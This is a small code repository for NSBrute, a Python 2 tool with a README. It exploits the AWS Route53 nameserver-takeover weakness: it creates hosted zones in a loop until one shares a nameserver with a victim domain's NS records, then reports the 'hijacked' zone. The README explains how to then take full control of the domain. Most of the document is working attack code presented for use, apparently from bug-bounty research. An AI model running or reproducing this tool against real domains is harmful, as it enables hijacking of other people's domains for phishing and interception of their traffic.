├── NSBrute.py
├── README.md
└── requirements.txt
/NSBrute.py:
--------------------------------------------------------------------------------
1 | import route53
2 | import sys
3 | import time
4 | import traceback
5 | import dns.resolver
6 | import subprocess
7 | import json
8 | import ast
9 |
10 | accessKey=""
11 | secretKey=""
12 | victimDomain=""
13 | targetNS=[]
14 | nsRecord=0
15 |
16 |
17 | class bcolors:
18 | TITLE = '\033[95m'
19 | OKBLUE = '\033[94m'
20 | OKGREEN = '\033[92m'
21 | INFO = '\033[93m'
22 | OKRED = '\033[91m'
23 | ENDC = '\033[0m'
24 | BOLD = '\033[1m'
25 | BGRED = '\033[41m'
26 | UNDERLINE = '\033[4m'
27 | FGWHITE = '\033[37m'
28 | FAIL = '\033[95m'
29 |
30 |
31 | def myPrint(text, type):
32 | if(type=="INFO"):
33 | print bcolors.INFO+text+bcolors.ENDC+"\n"
34 | return
35 | if(type=="INFO_WS"):
36 | print bcolors.INFO+text+bcolors.ENDC
37 | return
38 | if(type=="ERROR"):
39 | print bcolors.BGRED+bcolors.FGWHITE+bcolors.BOLD+text+bcolors.ENDC
40 | return
41 | if(type=="MESSAGE"):
42 | print bcolors.TITLE+bcolors.BOLD+text+bcolors.ENDC+"\n"
43 | return
44 | if(type=="INSECURE_WS"):
45 | print bcolors.OKRED+bcolors.BOLD+text+bcolors.ENDC
46 | return
47 | if(type=="OUTPUT"):
48 | print bcolors.OKBLUE+bcolors.BOLD+text+bcolors.ENDC+"\n"
49 | return
50 | if(type=="OUTPUT_WS"):
51 | print bcolors.OKBLUE+bcolors.BOLD+text+bcolors.ENDC
52 | return
53 | if(type=="SECURE"):
54 | print bcolors.OKGREEN+bcolors.BOLD+text+bcolors.ENDC
55 |
56 | #python NSBrute.py -d domain -a accessKey -s secretKey -ns a,b,c,d -f
57 |
58 | zones_to_keep = []
59 | forceDelete = False
60 |
61 | if (len(sys.argv)<7):
62 | myPrint("Please provide the required arguments to initiate scanning.", "ERROR")
63 | print ""
64 | myPrint("Usage: python NSTakeover.py -d domain -a accessKey -s secretKey","ERROR")
65 | myPrint("Please try again!!", "ERROR")
66 | print ""
67 | exit(1);
68 | if (sys.argv[1]=="-d" or sys.argv[1]=="--domain"):
69 | victimDomain=sys.argv[2]
70 | if (sys.argv[3]=="-a" or sys.argv[3]=="--accessId"):
71 | accessKey=sys.argv[4]
72 | if (sys.argv[5]=="-s" or sys.argv[5]=="--secretKey"):
73 | secretKey=sys.argv[6]
74 | if len(sys.argv) >= 8:
75 | if (sys.argv[7]=="-f" or sys.argv[7]=="--forceDelete"):
76 | forceDelete = True
77 | try:
78 | nsRecords = dns.resolver.query(victimDomain, 'NS')
79 | except:
80 | myPrint("Unable to fetch NS records for "+victimDomain+"\nPlease check the domain name and try again.","ERROR")
81 | exit(1)
82 | isInt= isinstance(nsRecords,int)
83 | if isInt and nsRecords==0:
84 | myPrint("No NS records found for "+victimDomain+"\nPlease check the domain name and try again.","ERROR")
85 | exit(1)
86 | for nameserver in nsRecords:
87 | targetNS.append(str(nameserver))
88 |
89 | #strip leading and trailing spaces
90 | for index in range(len(targetNS)):
91 | targetNS[index]=targetNS[index].strip()
92 | #strip trailing .
93 | targetNS[index]=targetNS[index].strip(".")
94 |
95 | conn = route53.connect(
96 | aws_access_key_id=accessKey,
97 | aws_secret_access_key=secretKey,
98 | )
99 |
100 | created_zones = []
101 | successful_zone = []
102 | counter=0
103 | try:
104 |
105 | while True:
106 | counter=counter+1
107 | myPrint("Iteration Count: "+str(counter),"INFO_WS")
108 | try:
109 | new_zone=0
110 | new_zone, change_info = conn.create_hosted_zone(
111 | # in honor of bagipro, we love your reports, we hope you never stop researching and participating in bug bounty
112 | victimDomain, comment='zaheck'
113 | )
114 | hosted_zone_id = new_zone.__dict__["id"]
115 | created_zones.append(hosted_zone_id)
116 | #Erroneous Condition
117 | if new_zone is None:
118 | continue
119 | nsAWS=new_zone.nameservers
120 | myPrint("Created a new zone with following NS: ","INFO_WS")
121 | myPrint(" ".join(nsAWS),"INFO_WS")
122 | intersection=set(nsAWS).intersection(set(targetNS))
123 | if(len(intersection)==0):
124 | myPrint("No common NS found, deleting new zone","ERROR")
125 | print ""
126 | new_zone.delete()
127 | else:
128 | myPrint("Successful attempt after "+str(counter)+" iterations.","SECURE")
129 | myPrint("Check your AWS account, the work is done!","SECURE")
130 | print "This is the hijacked Zone ID: " + str(hosted_zone_id)
131 | hijacked_zone = next(iter(intersection))
132 | print "This is the zone you hijacked: " + str(hijacked_zone)
133 | successful_zone.append(hosted_zone_id)
134 | created_zones.remove(hosted_zone_id)
135 | print ""
136 | break
137 | except Exception as e:
138 | myPrint("Exceptional behaviour observed while creating the zone.", "ERROR")
139 | myPrint("Trying Again!","ERROR")
140 | if new_zone != 0:
141 | new_zone.delete()
142 | continue
143 |
144 | except KeyboardInterrupt:
145 | if forceDelete and len(created_zones) != 0:
146 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 list-hosted-zones"
147 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
148 | stdout,stderr = out.communicate()
149 | json_data = None
150 |
151 | if stdout != 'false':
152 | json_data = json.loads(stdout)
153 |
154 | zones_to_be_removed = []
155 | zones_for_account = []
156 |
157 | for zone in json_data["HostedZones"]:
158 | zones_for_account.append(str(zone["Id"].replace("/hostedzone/","")))
159 |
160 | if len(successful_zone) != 0:
161 | if successful_zone[0] in created_zones:
162 | created_zones.remove(successful_zone[0])
163 |
164 | for zone in created_zones:
165 | if zone in zones_for_account:
166 | zones_to_be_removed.append(zone)
167 |
168 | for zone in zones_to_be_removed:
169 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 delete-hosted-zone --id " + str(zone)
170 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
171 | stdout,stderr = out.communicate()
172 |
173 | else:
174 | exit()
175 |
176 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 list-hosted-zones"
177 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
178 | stdout,stderr = out.communicate()
179 | json_data = None
180 |
181 | if stdout != 'false':
182 | json_data = json.loads(stdout)
183 |
184 | zones_to_be_removed = []
185 | zones_for_account = []
186 |
187 | for zone in json_data["HostedZones"]:
188 | zones_for_account.append(str(zone["Id"].replace("/hostedzone/","")))
189 |
190 | if len(successful_zone) != 0:
191 | if successful_zone[0] in created_zones:
192 | created_zones.remove(successful_zone[0])
193 |
194 | for zone in created_zones:
195 | if zone in zones_for_account:
196 | zones_to_be_removed.append(zone)
197 |
198 | for zone in zones_to_be_removed:
199 | command = "AWS_ACCESS_KEY_ID="+accessKey+" AWS_SECRET_ACCESS_KEY="+secretKey+" aws route53 delete-hosted-zone --id " + str(zone)
200 | out = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
201 | stdout,stderr = out.communicate()
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # NSBrute
2 | NSBrute is a command line utility built using Python that allows you to gain access to the vulnerable domain by exploiting NS Takeover vulnerability. If you want to know about NS Takeover feel free to refer [this](https://medium.com/@shivsahni2/aws-ns-takeover-356d2a293bca).
3 |
4 | ## Prerequisites
5 | * Programmatic access to AWS account
6 | * Support for Python 2.7
7 |
8 |
9 | ## Executing
10 |
11 | Clone the repo
12 | ```
13 | git clone https://github.com/shivsahni/NSBrute.git
14 | ```
15 | Install the dependencies
16 | ```
17 | pip install -r requirements.txt
18 | ```
19 |
20 | Once the script is cloned, and the requirements have been successfully installed, run the script using your AWS Access Key and Secret Key as shown below:
21 | ```bash
22 | python NSBrute.py -d domain -a accessKey -s secretKey
23 |
24 | ```
25 | If you want to force delete the failed zones you made during testing, you can ran a command similar to this (provide a `-f` at the end):
26 | ```bash
27 | python NSBrute.py -d domain -a accessKey -s secretKey -f
28 | ```
29 |
30 | The script would be indefinitely creating the zones for the vulnerable domains in your AWS account until it finds a zone with a common nameserver.
31 |
32 |
33 |
34 | Once the script creates a zone with a common nameserver you can log in to your AWS account to create the resource records for the domain to have the complete control over the domain.
35 |
36 |
37 |
38 | If you want to terminate the script while it is still running, control + c will cause it to stop running and you will be prompted to provide `y` to force delete any stale hosted zones or literally any other character sequence to just quit immediately.
39 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | route53
2 | traceback2
3 |
4 |
--------------------------------------------------------------------------------